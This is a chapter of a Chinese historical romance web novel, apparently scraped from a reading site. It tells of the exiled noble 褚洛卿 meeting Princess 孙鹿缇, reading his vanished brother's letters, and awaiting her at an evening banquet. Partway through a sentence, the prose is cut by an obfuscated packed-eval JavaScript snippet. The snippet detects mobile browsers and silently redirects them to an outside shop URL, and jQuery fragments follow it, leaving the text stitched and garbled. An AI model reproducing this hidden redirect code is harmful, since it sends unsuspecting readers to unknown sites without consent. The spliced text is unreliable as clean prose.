十二岁,华阳殿面见先帝。屏风下,一朵木槿轻落于地。
那刻,褚洛卿初见公主的杏眼。她梳着小公主的发髻,姿态淑丽,眼底却有天真好奇。
他眨眼,直至父亲的手覆上肩才回神,答复先帝之问。
后来,年少书房一角,一直摆着木槿。
他想,也许每个夏日与秋期,容和公主所见的木槿,与他之见一样。
于时,褚洛卿目光就停留在孙鹿缇屋外一处木槿丛上,眉宇间似蕴藉一抹复杂情绪。上边,侍女的回告入神:“褚公子,公主有请。”
褚洛卿抬眼怔愣。他的眸子定了须臾,又轻轻落下,似是迟疑,又有戚戚。
轻步入内,但闻香炉噼响,步声悄静。杯落于盏,悬帘坠穗轻动。
屋内很静,唯有杜衡香息,浸入衣袍。
孙鹿缇坐于榻上,身影绰绰,听到他来,抬起额。
他们之间,一扇屏风立地。
他双手在前,缓缓跪下:“褚洛卿,拜见公主殿下。”
孙鹿缇手握案上的茶杯,她的背纹丝不动,指尖却捏着杯。
她轻道:“你起身吧。”
褚洛卿犹垂眸,缓缓站起,却瞥见屏风旁特意摆一小案,上面躺着再生玉石。
“可记得?”孙鹿缇感他所见。
褚洛卿眼帘微颤,抬眼道:“回殿下,正因记得,才坚持至今。”
屏风中,褚洛卿的眼神模糊。孙鹿缇浅低眸,问他:“当日,你……”
“当日破釜沉舟,是在下自己的选择。殿下不必为允臣之死自责。”褚洛卿回,眼眶微芒,目光柔深。
孙鹿缇捏着茶杯的手徐徐松下,可又道:“还是本宫,考虑不周。”
闻此褚洛卿眼神微紧,复跪说:“褚家事,本与殿下无关。可殿下还是做了许多,又何须自责?”
孙鹿缇默声良久,才道:“因本宫也是……”
她抓握着桌角,眉中深皱。窗外微光掠过屏风上的竹篁,又渐渐褪去。“也罢。”她叹,“让它过去。”
于时木槿推门,天光随之暂入,打在褚洛卿身上,又直直透进轻薄的屏风。木槿回禀:“殿下,玉山公主又送上两位婢女。”
“带她们下去,安排最好的。”孙鹿缇说。
门复关上。孙鹿缇起身:“她们,你可认识?”
“关芳,陛下遣送来的。”褚洛卿起身答道。遣送奴婢入容和公主府的命令,恐怕也并非孙娥所下,而是孙骁命人假传。假传命令,孙骁不是第一次做。
褚洛卿到孙鹿缇那儿,孙骁并不想显得格外注重此事,却不得不提防。
“陛下上心。”孙鹿缇敛眸,“陛下的关照,你是不敢忘的。本宫,亦不敢忘。”
“邬俅之事,他已疑心。”褚洛卿眼眶乍芒,眉宇拧住,“虽冒险,可一年来,在下只等此刻。”
孙鹿缇遂近屏风,黛影渐浓。褚洛卿目光层层凝瞩,又克制而低眼。
一圈亮光,凭空跃出于地打转,倏忽晃过褚洛卿面容。
褚洛卿抬起眼,见孙鹿缇竟已立于屏风旁,静静注视。
对视须臾,孙鹿缇眼瞥右手。手指些许尴尬地轻覆,欲挡住她指环上玛瑙折射的光,不停于他容上波动。
她着缇红衣裙,配绿云交领,白玉木槿饰点缀垂霄髻。公主这一身,与十五及笄那年很像。
昔年他十七,一早起来于铜镜前打扮良久,穿上自己的最好看衣服。宫墙森森,他恭谨祝贺,有幸上前,抬额远眺,见她遥远又仿若近在咫尺的背影。
可如今,公主依旧,他却是戴罪散发,身着仇人恩裳衣物,孑然一身,身负血仇,站在她面前。
孙鹿缇走来,拾起再生玉石。他见到,往昔风华岁月仿若涌上眼眸,不禁心如刀绞。
“这不是本宫的。”孙鹿缇却说,“这是你的。”
褚洛卿唇微张,欲言又止。复抬眼望她,见她眼底怜惜,再跪,沉语道:“当年冒犯殿下,罪该万死。”
孙鹿缇手已伸出,又收回。“当年夺魁之礼,众人皆是,何来冒犯?”
褚洛卿抬眼,有些困惑。
孙鹿缇说:“你跟本宫来。”
一卷书信,置于竹筒里。孙鹿缇取出给他,他一见字迹,眸生欢欣:“是兄长。”
褚洛卿淡淡悲戚眉目蕴着暖笑,看完全部。
六年前,十九岁褚洛风于南方游山玩水,莫名走失。路人见到,他坠于山崖下,尸体无存。
而实际是他不愿继褚家主位,唯盼作只闲云野鹤,潇洒半生。
他私见二弟洛卿,恳求隐瞒此事。是他大不孝,令父母悲伤。他道,洛卿看着像懂事知礼的好孩子,心中叛逆却丝毫不逊他这个兄长。
“其实兄长不知,在下还是告诉父母,他犹活着。”褚洛卿缓缓道,“否则就是不孝。可在下亦不愿让兄长失望。”
孙鹿缇疑问:“只为逍遥,竟如此决绝?”
褚洛卿答:“兄长心悦一南方女子,可门第不齐,父母不允。他遂放弃褚家公子的身份,以自由身入赘女子家族。荆楚梁家,家主开明,并未计较。”
褚洛卿遂垂眸,苦笑道:“兄长和在下如此荒唐,让殿下见笑。”
孙鹿缇不语,只是伸手取过那些信,道:“你既见过,本宫便烧了。”
“褚大公子留给你的玉石,本宫不好丢弃。”孙鹿缇又回到适才话谈。
闻此,褚洛卿的眼里划过一丝光亮,可眼底又有不易察觉的失落。他先轻轻放下书信,侧身挚言:“殿下抬爱,在下感激。”
“殿下......也不必为那枚玉石自责。”褚洛卿抬眼恳切地说,唇角轻松一笑,目光和煦,“不过是夺魁之礼,且那礼薄,不算什么。”
孙鹿缇垂眸掩饰,侧身答:“也是物尽其用。不过留在周那儿也不妥,以防留心之人记挂。本宫会让暗卫,寻机取回的。”
褚洛卿颔首,思及适才请罪,公主聪慧,定明他意。此话,也许已向他表明心意了。
诚然,他一家破人亡之人,自身难保,公主相救,除去出于义气,还是为用人。
即便是从前,他们也从未相见几次。公主金枝玉叶,他怎敢痴心妄想?
可他仍愿作殿下的左右手,不负青眼。
一时无话,孙鹿缇稍许无措,犹矜持吩咐:“先回屋
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14061319|149278||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
收拾,傍晚再来。孙娥贸然将你送来,还有许多事要做。”
乐羽阁在东,十分温暖。
褚洛卿进屋,四处一看,桌案卧榻雅致,青山屏风俊逸,挂帘优美,杜衡香满。侍女问:“公子若不满意,奴婢可去禀告殿下。”
褚洛卿回:“我庶人之身,即便陛下特赦,也不敢有什么不满。”
侍女答:“殿下说,公子是玉山公主特送来的门客,有玉山公主之缘由,身份自是不一般的,千万不敢薄待了。”
褚洛卿瞬定眼,又恰好睇见摆在桌案上的棋盘。那棋盘上,白子似以瞒天过海之计胜,他唇角一笑,眼神含煦道:“殿下总是想得周到。”
侍女说:“那奴婢帮您收拾。”
褚洛卿轻轻一叹:“不必劳烦,能否住得长久,还未可知,我自己简单收拾即可。”
他落眸,发现一低案上摆放着木槿盆栽,不觉眼眸凝住。犹是春日,花期未至。侍女问:“松木景观尚好,公子可需要换下?”
褚洛卿感唇间一滞,手指卷起又藏匿。阖府上下的侍女,应知公主喜欢木槿花。木槿未开,此盆栽的确无景。他可以说不计较,但那样是否......
“既未开花,怎放置于此?”褚洛卿却反过来,好奇笑问侍女。
“公主府里这样的盆栽有许多。”侍女回,“乐羽阁久未有人居住,它一直放在这儿。”
“既是公主府都有的景观,那我不便破坏。”褚洛卿缓语笑赏,“既然松木亦佳,也摆上吧,怎样都好。”
傍晚将至,褚洛卿换上乐羽阁内备的白衣。铜镜前,摆着一簪,可他未束发。
容和公主府的碧梧轩,本有梧桐美景依傍,可作曲水流觞,赏景品味。梧桐伐落后,这一景观不再,仅剩一池与几处花坛。孙鹿缇已多日不来。
可今日,孙鹿缇偏偏设宴此处,款待褚洛卿。
两位来自玉山公主府的侍女,关芳与慕怜,侧立左右,侍奉主客。
褚洛卿坐于主桌下左侧,等候殿下。于时夜色墨青,星点明烁,从轩栏杆上遥望而去,公主府的亭台楼阁,烛光交错点上,暖亮寒凉一片。月悬挂西边墙头,尚修瘦。
如此宁静,他久未感受。
上次这般宁静,犹是前年中秋父亲归家之日,父母亲与他共邀明月,同堂叔伯与兄弟姐妹,还有与他一般年纪的褚允臣等侄,都还在。
他想起母亲,想起长姐,褚家妇孺皆被流放岭右。南方荒蛮,部落林立,虽然兄长于信中说道,他已找到她们,一路陪伴,可他犹惧她们生不如死之心。
如今,他虽至殿下面前,却反而感到更深的悲伤。也许从前在玉山公主府,在仇人的监看俯视之下,他日日麻木内心,虚与委蛇。想着终有一日,能做回自己。
而容和殿下,令他安心。他从未奢望她的情义,却信任她这个人。也许,也正是他来到她身边,才有这么一刻,像逃出生天的囚犯,暂缓逃亡的疾步。躺陷于温煦花海一片,仰浸皎月。
褚洛卿遥睹明月的目光渐渐模糊,渐渐定格在近处迈着淑雅步伐而来的公主身上。
“殿下。”他起身,不自觉默语喃喃,“你来了。”